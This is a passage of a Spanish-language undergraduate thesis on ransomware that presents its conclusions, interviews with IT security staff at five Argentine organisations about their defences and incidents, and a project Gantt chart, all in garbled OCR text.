Secure (State of Cyber Security, 2017, pag. 20). Cada parte 0 sector tercerizado que tenga la
empresa incrementa la superficie de ataque por lo que esa decision que tomaron no es muy
recomendable. Otro punto importante es que tienen el Antivirus centralizado para monitorear y
actualizar todas las terminales de la empresa, por lo que no hay que esperar que el usuario
actualice el antivirus en la terminal. Esto puede ocasionar que no estén las firmas de virus

actualizadas y pueda ingresar alguno nuevo.

Por otro lado, respecto a la empresa La Lacteo, segun lo expresado por Bono, no realizaron
capacitaciones y tampoco siguen ninguna norma, lo que puede aumentar los riesgos de infeccion,
situacion que es evitada porque hay personal que se capacita de manera autbnoma y por decision

personal.

Por su parte, la empresa Tarjeta Naranja sigue un plan de seguridad estandarizado como la
ISO 27001, que es un Sistema de Gestion de la Seguridad de la Informacion, ademas que se
complementa con la 1ISO 27005, que es una guia para la gestion del riesgo de la seguridad de la
informacidn. Muy importante es la decision de mantener los sitios de contingencia en otros
lugares para respaldar los datos de cualquier catastrofe que pueda ocurrir, y el uso de
herramientas como IPS y DLP para detectar intrusos en la red, ya que manejan valiosa

informacion financiera de los clientes.

En cuanto a los dos ataques de ransomware que sufrid la empresa Tarjeta Naranja, se advierte
que la seguridad fallé poniendo en riesgo los datos personales y financieros de los clientes. Se
puede plantear como hipotesis que el sistema quedd desconectado hasta que se pudo realizar la

recuperacion mediante el Back up, que seguro trajo problemas en todos los departamentos de la
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empresa y con los clientes que no pudieron utilizar la tarjeta en los comercios adheridos.
También se pone en duda si es verosimil que se recuperé toda la informacién, y se entiende que

decir lo contrario, en el contexto de una entrevista, se percibe como perjudicial para la empresa.

En cuanto a medidas implementadas luego de los ataques mencionados, mejoraron las
barreras defensivas para evitar uno préximo, también es muy valorable la concientizacion que

realizan a los usuarios de la empresa.

En la entrevista realizada al informante perteneciente al Sanatorio Allende se puede observar
una buena infraestructura en seguridad, pero igualmente tuvieron ataques de ransomware que
aseguran que no se perdieron archivos criticos ya que contaban con backup de ellos. A pesar de
que se podrian haber perdido datos personales o de otra indole, el Sanatorio no considerd esos
datos como importantes, por lo que no pagaron el rescate. Respecto a lo anterior se considera
que, si bien no eran archivos criticos, igual pudo ser informacién importante que en un futuro se
pueda necesitar. Del acontecimiento anterior se extrae como positivo que gracias a que en su
infraestructura tiene configurada las redes separadas por sectores, y ademas estan monitoreadas
constantemente lograron que el ransomware no se esparza a todas las maquinas de la institucion,

operando esto como prevencion de un problema mayor.

El entrevistado perteneciente a Globant explica sobre su experiencia en seguridad en la
organizacion en la cual utilizan servidores centralizados que guardan la informacion, y si las
terminales son infectadas con algin malware que ocasiona pérdida de informacion, pueden
recuperarla con estos servidores, aunque no asegura que los datos puedan haber sido robados y
utilizados con fines negativos. Otro punto que sefiala es que utilizan servidores Linux en los que

no Vvio casos de ataque, pero hay ransomware que atacan estos servidores como el Erebus, por lo
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que no hay que tener una mirada superficial sobre su seguridad. Un punto importante es que
brindan capacitacion en seguridad para los agentes que no tienen conocimientos en el tema, y

cuentan con la certificacion ISO 27001, que es un estandar para la seguridad de la informacion.

Por ultimo, el entrevistado perteneciente a una institucion publica, sefiala que en la
Municipalidad de Cdrdoba tienen filtrado de spam y malware, aunque de todos modos tuvieron
un incidente con un virus en el que el filtrado de malware no funciond, por ser un virus nuevo del
que no se tenian datos. Esto generalmente se Ilama vulnerabilidad del dia 0, que son
vulnerabilidades desconocidas que explotan los ciberdelicuentes para llegar a su objetivo. Al
tener servidores de backups aislados de la red, el malware no puede ingresar, a menos que una
persona interna lo ingrese por su cuenta. Lo que tiene en contra esto es que el backup se hacer
por las noches, por lo que un ataque podria desaparecer informacion de un dia entero. En cuanto
a que no tienen backups de las terminales, los archivos que tenga el usuario en Word o Excel
pueden ser atacados por un ransomware, y a menos que el usuario realice respaldos diarios de

sus archivos, ocasiona la pérdida de la informacion que contenia la computadora.

11.Conclusiones

Tras el andlisis del ransomware en el presente trabajo, se pudo afirmar que la principal causa
de infeccidn por este malware es por medio de la accion de un usuario que ejecuta el archivo en
que los antivirus no logran detectar primero debido a las distintas mutaciones del virus. En
segundo lugar, como se observé en el andlisis dindmico los procesos que realiza son acciones

comunes que pueden ser hechas por cualquier usuario o proceso.

Ante esta situacion y luego de las pruebas realizadas, surge el interrogante de como realizar

una deteccion temprana de este malware antes de que encripte todos los archivos. Como se
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observo en el andlisis dindmico, la ejecucion del ransomware modificaba los archivos, al ser esta
accion comdnmente usada por cualquier proceso, no seria 6ptimo detenerlo pidiendo
confirmacion de estar realizando modificaciones. Si seria motivo de prueba para futuras
investigaciones la deteccion del cambio de extension de un archivo, que es una accion muy rara
vez utilizada, para luego detener el proceso y se verifique que el usuario esté realizado la
modificacion. Si se confirma que el usuario no cambid la extension se deberia detener el proceso,

y a su vez advertir al usuario y a la empresa que puede existir un malware en la computadora.

Otro punto que se pudo dilucidar es que, si los archivos tienen privilegios de administrador o
son de solo lectura, y la méaquina donde corre el ransomware es un usuario sin privilegios, estos
tipos de archivos no podran ser encriptados, ya que necesitaria romper de algtin modo los
privilegios u obtener la clave del administrador. En las unidades mapeadas se debe tener especial
cuidado, ya que podrian infectar a todo el sistema, por lo que es recomendable que para
modificar un archivo se pida permiso de administrador o usuario y contrasefia, y de esta manera

evitar el encriptamiento.

Para finalizar con lo que dejo el analisis del codigo y ejecucion del ransomware, una practica
que podria ayudar a la prevencion es cambiar las extensiones de los archivos por otros que sean
inexistentes en el uso computacional. Un ejemplo de lo anterior, seria que para documentos
Word en Windows, en vez de usar la extension .doc, utilizar la extension .document, ya que,
como se vio en el analisis, primero buscan la extension y luego modifican el archivo. Una
empresa podria implementar esto y configurar qué aplicacion debe abrir cada extension. Puede

que implementarlo sea costoso, pero quizas para archivos criticos sea una buena solucion.
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Luego del recorrido realizado por la bibliografia especializada y recuperando las expresiones
de protagonistas pertenecientes a las organizaciones se advirtié la importancia de profundizar la
concientizacion y formacion sobre las amenazas que existen en Internet como Phising, malware

o0 Ingenieria Social.

Existen maltiples versiones de ransomware, pero por lo general utilizan el mismo mecanismo
de propagacion que consiste en el envio de un archivo ejecutable por algun canal de
comunicacion. Lo que primero deberian hacer los sistemas operativos es mostrar toda la
extension del archivo, para asi detectar que no es un Word o PDF sino un ejecutable (.exe), que
seguramente es un virus camuflado. Otra medida de prevencion que podria realizar la
organizacion es el filtrado del correo de tipos de archivo como .exe, .zip 0 .rar aungue esta
medida puede que genere animosidad en los usuarios y busquen formas de poder recibirlos,

también se debe tener en cuenta que mejoraria mucho la seguridad.

Se considera que uno de los aportes de lo indagado es haber profundizado en cuanto al
funcionamiento de las distintas versiones de ransomware del tipo cifrador y donde se pudo

determinar que siguen un patron de funcionamiento muy similar:

e Clave de X hits,

e Encriptamiento de archivos (algunas versiones encriptan el disco duro),

e Pedido de dinero (generalmente en bitcoins) para rescatar archivos.

Las diferencias radican en las mejoras que le pueden agregar al ransomware:

e Servidor C&C (Servidor de Comando y Control) su funcidn es dar instrucciones a las

maquinas infectadas con malwares para luego recibir informacion de estas.
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e Clave hibrida.

e Deteccion de ejecucion en maquina virtual.

e Propagacion del virus por la red y en unidades mapeadas.

En cuanto al objetivo de encontrar las soluciones para recuperar los archivos, se debe aclarar
que si el codigo malicioso esté bien hecho y tiene una clave de 2048 bits 0 mas habria que
esperar afios para descifrar la clave privada o que haya computadoras con un poder de
procesamiento mayusculo. Por lo contrario, si hay errores en el cddigo o han dejado algun
backdoor en donde se pueden recuperar las claves, muchos expertos en seguridad han

conseguido y han puesto a disposicién distintas herramientas de recuperacion.

En los casos que no se puedan recuperar los archivos, se debe tener en cuenta primero que,
como se observo, al pagar el rescate se financia estas practicas extorsivas, segundo que el envio
de la clave para desencriptar los archivos depende de los ciberdelicuentes, que, si esta mal

implementado el cddigo, aunque tengan predisposicidn para enviar la clave, no lo podran hacer.

Con el analisis sobre las empresas y las estadisticas recolectadas, se puede afirmar que los
cibercriminales estan redirigiendo el ransomware hacia organizaciones, sobre todo de servicios
como hospitales en donde la informacién es critica. Cada organizacion debe realizar su plan de
seguridad y tomar medidas preventivas para cualquier tipo de ataque, y en definitiva, no se debe

simplificar la problematica de la Seguridad de la Informacién.

De lo recabado en las entrevistas es llamativo como son escasas las herramientas técnicas y
conceptuales que implementan las organizaciones o las empresas en relacion a la capacitacion de

los sujetos a cargo de la seguridad informatica. En relacion a esto, pareceria que las instancias de
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capacitacion o de recepcion de la informacion se resuelven mas individualmente y como una
opcidn del técnico a cargo. Las nuevas tecnologias tienen un avance constante como también las
nuevas formas de atacarlas, por lo que se debe concientizar a las empresas en la importancia de
destinar recursos a la seguridad informatica. En tanto que los organismos estatales competentes
deberian controlar que las empresas y organizaciones cumplan la ley de Proteccion de los Datos

Personales.

Sobre evaluar el impacto que realiza el ransomware en las organizaciones, se pudo observar
por medio de las entrevistas y la informacion recabada que el impacto va a depender del rubro
que tenga la empresa. Si se trata de una empresa que brinda servicios de salud como el Sanatorio
Allende el impacto es muy grande, aunque se cuente con respaldo de datos, la recuperacion
puede tardar horas valiosas y perjudicar un paciente. En la entrevista realizada a este sanatorio se
constatd que tuvieron pérdida de informacion, pero no lo consideraron importante. Esto no debe
minimizarse en sus posibles efectos, especialmente en un sanatorio donde toda informacion de la
salud de una persona es valiosa. El impacto que puede ocasionar en una empresa financiera como
Tarjeta Naranja es importante, en cuanto a las pérdidas monetarias que pueden presentarse si el
sistema esta detenido y los comercios no pueden realizar las transacciones. La pérdida méas
importante es la credibilidad que puede tener la empresa si extravian los datos personales de sus
clientes, y el costo que conlleva su recuperacion. En otras empresas con otro rubro como el de
alimentacion o de gobierno el costo es menor, ya que la detencidn del sistema no origina tantas
complicaciones, pero si lo ocasionaria si no se tiene respaldo de los datos con la consecuente

pérdida total de la informacion.

Se debe tener en cuenta en futuras investigaciones no solo el secuestro de datos, sino que con
el avance del Internet de las Cosas (10oT), en donde cada vez mas artefactos estan conectados
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(auto, televisor, heladera, camaras, microfono, GPS, sensores de movimiento, de calor), en un
tiempo no muy lejano el secuestro de las cosas materiales va a ocurrir y los ciberdelicuentes

usaran eso a su favor.

Este panorama a su vez se complejiza ya que con backup no se soluciona el problema, sino
que hay que mejorar la seguridad de los dispositivos y concientizar al usuario comdn de los

riesgos de no mantener un buen uso de la tecnologia.

Algunas de las soluciones para combatir el virus estudiado, que se desprenden del andlisis de
este trabajo y que esta relacionado con nuestro campo profesional a desarrollar en las

organizaciones y/o empresas:

e Elaboracién de un Plan de Seguridad Informaética,

e Concientizacion para formar un empleado seguro,

e Formacion para la elaboracion de un Plan de Prevencion,

e Asesorar para una infraestructura de red dividida por sectores,

e Instalacion de software que detecte intrusos en la red,

e Backup de los datos,

e Implementar unas buenas barreras de defensa con artilugios como Firewall, servidores

proxy, VPN, honeypot®®.

15 Tarro de miel en donde su funcion es atraer ataques de ciberdelicuentes en un ambiente seguro para estudiar sus
formas de ataque.
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Finalmente, es importante destacar la importancia de realizar conjuntamente con los procesos
de indagacidn teorica, el analisis también desde las practicas y experiencias que llevan a cabo los
sujetos a cargo de la seguridad informatica. Es posible detectar demandas que las organizaciones
sociales tienen sobre el campo profesional de la Ingenieria en Software, y de esta manera poder
realizar propuestas de avances situadas en las estructuras informaticas existentes y la creacion de

nuevas propuestas.
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Anexo |

Modelo de entrevista

1. A grandes rasgos ¢qué medidas de seguridad tiene tu empresa? ;Usan proxys,

tienen servidor con manejo de correo no deseado (Spam), las redes entre departamentos

estan separadas, tienen Sistema de deteccion de intrusos o de prevencion de intrusos?

¢Politicas de seguridad? ¢ Sitios de contingencias?

2. En tu empresa ¢tuviste algun ataque de ransomware?
3. ¢ Coémo lo solucionaron?
4. Tienen un buen sistema de recupero de datos (backup) ¢cada cuanto tiempo lo

realizan? ¢ El backup esta guardado en un dispositivo externo a la red de la Empresa?
5. ¢ Cuénto tardan en recuperar la informacion de los backups después de haber

sufrido un ataque?

6. ¢Han sufrido ataques de otros tipos de malware? ;Cuales?
7. ¢Dan capacitacion sobre seguridad informatica?
8. ¢ Utilizan alguna metodologia, norma o estandar de seguridad informatica?

Entrevista 1

Nombre: Victor Ocanto

Puesto: Teach Leader Equipo SER

Empresa: Globant

1. A grandes rasgos ¢qué medidas de seguridad tiene tu empresa? ¢ Usan proxys, tienen

servidor con manejo de correo no deseado (Spam), las redes entre departamentos estan
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separadas, tienen Sistema de deteccion de intrusos o de prevencion de intrusos? ¢Politicas de

seguridad? ¢ Sitios de contingencias?

Bueno, en general la seguridad se forma utilizando multiples capas, desde la estacion de
trabajo que usan hasta las redes. Por ejemplo, utilizan Mac OS o Linux, ahi ya tenemos una
buena proteccion, si se usa Windows se suele deshabilitar los USB o la instalacion de software
por medio de politicas de Active Directory. Mayormente las empresas suelen utilizar Active
Directory para el manejo de credenciales y politicas, mail, evitar el spam, autorizacion y
autenticacion centralizada e incluyen un proxy transparente que filtra determinado trafico
saliente y todo lo entrante por medio de firewalls. Suele haber un area de networking que se
encarga de mantener los Firewall, la division entre departamentos se suele hacer con VLANs y a
su vez ACLs que permiten la comunicacion solo algunos puertos e IPs entre servidores o
servidores/clientes. En una empresa tipo no suele haber sistema de deteccidn de intrusos porque
es algo laborioso de tener actualizado debido al dinamismo de las empresas, en cambio apuestan
mMAs a evitar intrusos, si ya esta adentro la empresa es vulnerable. Se suele exponer lo menos
posible hacia afuera. En el caso del acceso remoto a la empresa se suele utilizar una VPN con un

encriptado de RSA de 2048 bit como minino y con Two-factor authentication.

2. En tu empresa ¢tuviste algin ataque de ransomware?

No vi un tipo de ataque de estos en ninguna empresa en la que trabajé, no a cambio de dinero.

3. ¢Como lo solucionaron?

He visto casos en que los usuarios perdieron la contrasefia de encriptamiento del disco duro de

la computadora, que puede ser un caso similar a los ransomware que encriptan el disco. En este
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caso la gente de Soporte Técnico suele reinstalar el sistema operativo sin darle mayor
importancia, ya que por lo general utilizan formas de trabajo centralizado donde la informacién

del empleado esta en un servidor central y resguardado.

4. Tienen un buen sistema de recupero de datos (backup) ¢cada cuanto tiempo lo realizan? ¢ El

backup estd guardado en un dispositivo externo a la red de la Empresa?

El tema de backup varia mucho dependiendo de las actividades de la empresa. A nivel
usuario, el empleado tiene la responsabilidad de hacer su backup diario o semanal dependiendo
de su volumen de trabajo. Por ejemplo, en IBM teniamos una herramienta que hacia un backup
automatico de perfil de usuario con sus archivos semanalmente y estaba en un servidor
centralizado que a su vez tenia un backup en un Storage especializado para backup. La
restauracion era bastante simple, por medio del cliente instalado en la workstation el empleado
podia restaurar el backup en el dia. Con respecto al backup de aplicaciones o servidores como
emails, hoy en dia se suele utilizar un almacenamiento en la nube, por ejemplo, S3 de Amazon
que permite almacenar datos en sus servidores, eso es fiable y barato para la empresa, porque

puede tener un backup externo a la empresa.

5. ¢Cuanto tardan en recuperar la informacién de los backups después de haber sufrido un

ataque?

Dependiendo del tipo de ataque, por lo general si es a empleados, luego de la instalacion
nueva del sistema operativo, en el mismo dia pueda tener la informacién. Si el ataque es a una

base de datos, puede tardar dos o tres dias, dependiendo de la cantidad de informacion. Nunca vi
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en persona un caso de ataque a servidores con perdida de informacion, porque por lo general
estdn muy protegidos, no muchas personas tienen acceso, son Linux/Unix y ademas estan
replicados, si borras algo en cuestion de horas se sincronizan. El Gnico caso que vi fue de alguien
que cometio un error y borro 1.5TB en una base de datos, en ese caso tardo casi una semana en

restaurar el backup.

6. ¢Han sufrido ataques de otros tipos de malware? ¢ Cuales?

Dos veces hubo ataques en una empresa donde trabajé, una fue un malware que se distribuia
por USB, los empleados se pasaban informacién e infectaban las maquinas que usaban
Windows. Otro fue un malware que se distribuia solo por red por medio de emails, en ese caso la
gente de networking inhabilitaba las direcciones MAC de red para que los equipos no puedan

conectarse a la red hasta que no sean verificados.

7. ¢Dan capacitacion sobre seguridad informatica?

Suele haber capacitaciones internas de seguridad informética para quienes no tiene un rol
puramente técnico como PM, RRHH, etc. Para los Developers, SysAdmins, DevOps no suele
haber porque esos conocimientos son parte de las entrevistas, asi que por lo general quien ingresa

ya sabe lo basico de eso.

8. ¢ Utilizan alguna metodologia, norma o estandar de seguridad informatica?

Si, utilizamos certificacion ISO 27000 para lo que se desarrolla en la oficina.

Entrevista 2

Nombre: Martin Bono
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Puesto: Jefe de Sistemas

Empresa: La Lacteo

1. A grandes rasgos ¢qué medidas de seguridad tiene tu empresa? ;Usan proxys, tienen
servidor con manejo de correo no deseado (Spam), las redes entre departamentos estan
separadas, tienen Sistema de deteccion de intrusos o de prevencion de intrusos? ¢ Politicas de

seguridad? ¢Sitios de contingencias?

La primera barrera en seguridad al exterior era un Router Cisco 1811, el cual tenia
configurado un proxy que gestionaba peticiones algunos puertos que se accedian a recursos
internos de la empresa, por ejemplo, Servidores de datos, Servidor de aplicacion o base de datos.
El acceso externo se hacia desde terminal server, una VPN a través del sistema VPN Client

Cisco y/o una VPN del server.

Por otro lado, teniamos instalado una plataforma antivirus Eset Nod32, la cual era gestionada
desde un servidor y desde el mismo distribuiamos cada cliente. Esto nos permitia actualizar
desde un solo lugar (desde el servidor) a cada PC/Notebook de la empresa y dicha plataforma
también nos permitia tener un monitoreo de cada PC/Notebook el cual nos notificaba si la misma

habria recibido algun "ataque™ o problema de seguridad.

Con respecto a Politicas de Seguridad, ademas de la plataforma de antivirus, por medio del
sistema de gestion de usuarios de Windows Server "Active Directory" estableciamos reglas

destinadas a la seguridad Fisica y Ldgica, por ejemplo:

a. No permitiamos que el usuario de cada PC/Notebook tenga privilegios de "Administrador”
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b. No permitiamos que el usuario de cada PC/Notebook ingrese un Pen Drive a la misma.

c. Cada usuario tenia un perfil y permiso y solo accedia archivo del Servidor de Archivos que
le correspondiese. Por ejemplo, las carpetas/archivos del &rea de Recursos Humanos solo
accedian los usuarios de Recursos Humanos y la Gerencia de la empresa. De esa manera

estableciamos la division de areas en el acceso a la informacion.

d. Las contrasefias de los usuarios de cada PC/Notebook tenia una regla de "n" cantidad de

caracteres y combinacion de letras y nimeros.

e. Con respecto a los usuarios del Sistema ERP (Tango Gestion), cada usuario tenia su perfil

de acceso y edicion de acuerdo a las responsabilidades del mismo.

El correo de la empresa estaba tercerizado, por lo que no nos preocupabamos con el correo no

deseado.

Con respecto a contingencias, teniamos un servidor respaldo para el Servidor de Datos y para
el Servidor de Aplicaciones y Base de Datos, el ultimo tenia un sistema en RAID 1 a través de

dos discos.

Por otro lado, teniamos instalada sistemas de monitoreo de Red y Equipo llamadas Nagios y

Kerios, los cuales nos permitia ayudar a revisar comportamientos en ambos lados.

2. En tu empresa ¢ tuviste algin ataque de ransomware?

Nunca tuvimos atagques ransomware

3. ¢Como lo solucionaron?



4. Tienen un buen sistema de recupero de datos (backup) ¢cada cuanto tiempo lo realizan? ¢ El

Backup esta guardado en un dispositivo externo a la red de la Empresa?

Si, haciamos Backup del servidor de archivo todos los dias y de la base de datos del ERP y
sus satélites todas las semanas. El mismo se hacia por medio del sistema de Windows NetBackup
y por medio de Cintas de 200/400 Gb. El soporte de las unidades de cintas era Ultrium LTO. Por
otro lado, por politicas de Backup, guardabamos una cinta por mes en una caja fuerte en el

exterior del piso donde estaba el datacenter.

5. ¢Cuanto tardan en recuperar la informacion de los backups después de haber sufrido un

ataque?

Nunca tuvimos que hacerlo por un ataque, pero si hicimos un par de pruebas con el servidor
de respaldo y para recuperar los archivos de dichas cintas y se demoraba entre 2 y 4 horas. Para
el caso del RAID, nunca hicimos pruebas, pero si levantamos bases de datos en otros servidores
para tener alternativas de acceso a la informacion en caso de algin problema de seguridad o

soporte técnico.

6. ¢Han sufrido ataques de otros tipos de malware? ¢ Cuales?

El mayor problema de seguridad que tuvimos fue un ataque a la central telefénica. Teniamos
instalada una Central Asterisk modelo TrixBox, la cual estaba expuesta a internet para poder
realizar llamadas por internet a usuarios que estén fuera de pais y tuvimos un ataque que

generaba llamadas a todos lados del mundo. Nos dimos cuanta al dia siguiente, porque entre
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otras cosas nos comunicamos con Telecom que nos advirtié del tema y, por otro lado, por medio
del Sistema Nagios que monitoreaba el trafico de red, se veian comportamientos fuera de lo
comun. Se soluciono desconectado la central de internet. Ese mes...la cuenta de teléfono vino un

poco mas elevada de lo normal.

7. ¢Dan capacitacion sobre seguridad informatica?
En la empresa donde estaba, no dieron capacitacion en seguridad informatica. Las hice por mi

cuenta (Especialidad en Seguridad y Peritaje Informatico - 2009).

8. ¢Utilizan alguna metodologia, norma o estandar de seguridad informatica?

No seguimos ninguna Norma o Estandar.

Entrevista 3

Nombre: Ana Torres del Santo

Puesto: CISO

Empresa: Tarjeta Naranja

1. A grandes rasgos ¢qué medidas de seguridad tiene tu empresa? ¢Usan proxys, tienen
servidor con manejo de correo no deseado (Spam), las redes entre departamentos estan
separadas, tienen Sistema de deteccidn de intrusos o de prevencion de intrusos? ¢;Politicas de

seguridad? ¢Sitios de contingencias?

Naranja cuenta con una gestion integrada para el gobierno de la seguridad. Existe un area de

seguridad alineada a la 1SO 27001. Contamos con un enfoque basado en riegos 1ISO 27005.
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Tenemos una politica de seguridad que refleja la intencion de la direccion en temas de

seguridad y un plan director anual.

Contamos con equipos Firewall de primera marca para proteger la red interna de intrusiones

no debidas.

También tenemos otras herramientas de seguridad como IPS (prevencion de intrusiones) DLP
(FUGA DE INFORMACION), equipos proxy, antivirus, centralizadores de logs y herramientas

propias de Ciberseguridad y seguridad defensiva.
Naranja cuenta con sitios se contingencia entre las empresas de todo el grupo.
El area estd formada por profesionales certificados y bajo un programa de actualizacion anual.
2. En tu empresa ¢tuviste algin ataque de ransomware?

En noviembre de 2015 tuvimos al menos 2 infecciones de bajo impacto. A partir de alli
incorporamos herramientas especificas que nos permitieron pasar 2016 y hasta la fecha sin otras

infecciones.

3. ¢Coémo lo solucionaron?

En lo inmediato se recuperaron los datos de los usuarios del backup.

Se implementaron herramientas especificas. Se esta alerta a las vulnerabilidades de dia Zero.

A su vez como el usuario es el eslabon mas debil de la cadena, contamos con un esquema

agresivo de concientizacion en estos temas.
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4. Tienen un buen sistema de recupero de datos (backup) ¢cada cuanto tiempo lo realizan? ¢ El

Backup esta guardado en un dispositivo externo a la red de la Empresa?

Naranja cuenta con una politica de resguardo en funcion a las buenas practicas COBIT y las

normativas del Banco Central; Com. A 4609.0

El esquema actual consta de backup diarios, semanales y mensuales que se almacenan fuera
de la empresa. En funcién a la necesidad del negocio existen para casos puntuales copias a disco

y réplicas online.

5. ¢Cuanto tardan en recuperar la informacion de los backups después de haber sufrido un

ataque?

Dependiendo el tipo de informacion, entre 10 minutos y 6 horas.

6. ¢Han sufrido ataques de otros tipos de malware? ¢ Cuéles?

Como toda la industria financiera estamos sufriendo algunos casos de phishing.

Para estos casos en Naranja cuenta con un plan de concientizacion para titulares, comercios y

publico interno.

Entrevista 4

Nombre: Ing. M. Teresa Lozada

Puesto: Jefa de Sistemas

Empresa: Sanatorio Allende
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1. A grandes rasgos ¢qué medidas de seguridad tiene tu empresa? ¢ Usan proxys, tienen
servidor con manejo de correo no deseado (Spam), las redes entre departamentos estan
separadas, tienen Sistema de deteccion de intrusos o de prevencion de intrusos? ¢Politicas de

seguridad? ¢ Sitios de contingencias?

Utilizamos unos Gateways de red marca Fortinet. Tenemos en total 4 (2 por sitio) Fortigate
500D para Nueva Cordoba y 300D para la sede Cerro. Anteriormente teniamos un proxy, pero

luego, gracias a la implementacion de los equipos Fortinet lo sacamos.

Por otro lado, tenemos implementadas VLANS en toda la red, por lo que efectivamente

tenemos separadas las redes.

Con respecto al manejo de SPAMs, tenemos implementado un servidor de Correo Zimbra,
gue maneja sus propias Black List. lgualmente, desde el Fortigate filtramos los correos que

contienen virus, eliminando el riesgo de infectarnos por ransomware

Con respecto a la deteccion de intrusos, tenemos centralizado el acceso a nuestra red por los
equipos Fortinet. Y tenemos desactivado desde fuera de nuestra red todos los protocolos de
acceso remoto (team viewer, etc.) por lo que si alguien quiere conectarse remotamente lo tiene

que hacer si o si por VPN. Estos accesos si los tenemos monitorizados.

Con respecto al sitio de contingencia, tenemos 2 data centers (uno por sitio) que estamos este
afio terminando un proyecto de dejar absolutamente todos los servidores duplicados. (Hoy en dia

tenemos la mitad)

95



2. En tu empresa ¢tuviste algin ataque de ransomware?

Tuvimos ataques, pero al contar con VLANSs y fileserver por area (y contamos con Back Up
de estos fileservers diarios) los dafios fueron locales a las PC en las que abrieron el virus. No

tuvo gran impacto

3. ¢Coémo lo solucionaron?

No lo solucionamos. Se perdieron los archivos (no compramos el desencriptador). Pero como

mencione anteriormente, tenemos BackUp de los archivos criticos.

4. Tienen un buen sistema de recupero de datos (backup) ¢cada cuanto tiempo lo realizan? ¢ El

Backup esta guardado en un dispositivo externo a la red de la Empresa?

Realizamos diariamente los BackUp de servidores/fileserver. Con respecto a la base de Datos,

la tenemos en HDR duplicada, por lo que tenemos duplicada la informacion.

Con respecto a donde guardamos las copias de BackUp, actualmente lo hacemos en disco.
Pero tenemos el proyecto de compra de una libreria de Cintas para poder tener de manera externa

una copia mensual.

5. ¢Cuanto tardan en recuperar la informacion de los backups después de haber sufrido un

ataque?

Como méaximo una hora

6. ¢Han sufrido ataques de otros tipos de malware? ¢ Cuales?
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Entrevista 5

Nombre: Alejandro Gomez

Puesto: Jefa de Seguridad Informatica

Empresa: Municipalidad de Cordoba

1. A grandes rasgos ¢qué medidas de seguridad tiene tu empresa? ¢ Usan proxys, tienen
servidor con manejo de correo no deseado (Spam), las redes entre departamentos estan
separadas, tienen Sistema de deteccion de intrusos o de prevencion de intrusos? ¢Politicas de

seguridad? ¢Sitios de contingencias?

Tenemos firewall corporativo. El acceso a internet se da solo a través de un proxy con filtrado
de malware. El servidor de correo también tiene filtrado de spam y malware. Las redes estan

separadas de acuerdo a la ubicacion geografica, no internamente en el mismo edificio.

Utilizamos IDSs como medidas reactivas y se hacen escaneos de seguridad como medidas

proactivas.

2. En tu empresa ¢tuviste algin ataque de ransomware?

No tuvimos ningln reporte de ransomware

3. ¢Como lo solucionaron?

4. Tienen un buen sistema de recupero de datos (backup) ¢cada cuanto tiempo lo realizan? ¢ El

Backup esta guardado en un dispositivo externo a la red de la Empresa?
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Hay backups en linea, clusters, duplicacion de bases de datos y backup periddicos todas las
noches. Aunque no de las terminales de cada empleado. Solo de los sistemas que presta la

municipalidad.

Los servidores de backup estan aislados de la red.

5. ¢Cuénto tardan en recuperar la informacion de los backups después de haber sufrido un

ataque?

No hemos sufrido ataques, pero si incidentes de hardware. Depende siempre de la cantidad de
datos a restaurar. Normalmente el servidor de reemplazo con servicios instalados esta listo en un

par de horas. Luego lo que demore la cantidad de datos, que puede variar de minutos a dias.

6. ¢Han sufrido ataques de otros tipos de malware? ¢ Cuales?

Virus. En 2009 tuvimos una infeccion generalizada debido a un virus que el antivirus todavia

no detectaba. Hubo que tomarse el trabajo de reinstalar todas las computadoras clientes.

7.  ¢Dan capacitacidn sobre seguridad informatica?

No, no hemos tenido hasta ahora ninguna capacitacion en seguridad.

8. ¢Utilizan alguna metodologia, norma o estandar de seguridad informatica?

Las metodologias las vamos armando nosotros sobre la marcha.
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Anexo |1

Diagrama de Gantt

licd Mombre de tarea Duracion | ahiril | mayo |jur'ic
2p03 | 2303 | o4 | 1104 | 1804 | 2504 | ozos | osios | 1605 | 2305 | 3005 | o6os | 1306 | 2006 | 2
1 [Eleccion del Tema 12 dias 1
2 |Busgueda Bibliografia 289 dias
3 Busqueda Bibliografia 1 15 dias | L
4 Busqueda Bibliografia 2 9 dias I I
5 Busqueda Bibliografia 3 &0 dias
6 Busqueda Bibliografia 4 46 dias
7 Busqueda Bibliografia 5 15 dias I
8 Analisis de Bibliografia 275 dias |
9 Analisis de Bibliografia 1 16 dias " I
10 &nalisis de Bibliografia 2 8 dias [
11 Analisis de Bibliografia 3 35 dias
12 Analisis de Bibliografia 4 36 dias
13 Analisis de Bibliografia 5 26 dias
14 |Elaboracion Marco Tedrico &0 dias 1
Tarea Resurnen inactive I | Tareas estemas
DT':-'ISIEII"I Civavrenncennien larea manual I I Hito externo L]
Hit & solo duracion Fecha limite L 4
Proyecho: Gantt
ﬁ I
Fecha: mar 24/10/17 Resumen Informe de resumen manual Progreso
Resumen del proyecto ] 0 Resumen manual ) Progresc manual
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Hitto inactivo solo fin 1
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Duracion

[id Mombre de tarea | abiril | maye |jur'i0
2103 | 7803 | oame | 1104 | 1804 | 254 | 0205 | ogos | 1605 | 2305 | 3005 | 0606 | 1306 | 2006 | 7
15 |Recoleccion de datos 375 dias
16 Recoleccion de datos 1 25 dias | I
17 Recoleccion de datos 2 7 dias
18 Recoleccion de datos 3 66 dias
19 Recoleccion de datos 4 34 dias
20 Andlisis de datos 351 dias
2 Analisis de datos 1 6 dias [ -
22 Analisis de datos 2 9 dias
3 Anglisis de datos 3 24 dias
24 Analisis de datos 4 50 dias
25  |Pruebas de Ransomware 178 dias
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Ransomware
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Pagina 2

100



licd MNombre de tarea Duracon | abiril | maya |jur'i0
203 | 2803 | o404 | 1uo4 | 1804 | 2504 | ozos | ogms | 1605 | 2305 | 30405 | 0606 | 1306 | 2006 | 2]
] Revision y cormeccion TFG 1 17 dias J
30 Revision y cormeccion TFG 2 102 dias
31 Revision y cormeccion TFG 3 132 dias
3z Revision y comreccion TFG 4 52 dias
33 Revision y cormeccion TFG 5 45 dias
34 |Entrega de TFG para correccion 359 dias "
kL Entrega de TFG para correccion O dias "o D6/06._
1
36 Entrega de TFG para correccion 0 dias
2
7 Entrega de TFG para correccion 0 dias
3
38 Entrega de TFG para correccion O dias
4
39 Entrega de TFG para correccion 0 dias
5
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7
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AUTORIZACION PARA PUBLICAR Y DIFUNDIRTESIS DE POSGRADO O GRADOA LA
UNIVERIDAD SIGLO 21

Por la presente, autorizo a la Universidad Siglo21 a difundir en su pagina web o bien a través de
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Martin, 5 de diciembre de 2017
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Otorgo expreso consentimiento para que la copia electrénica de mi Tesis sea publicada en la
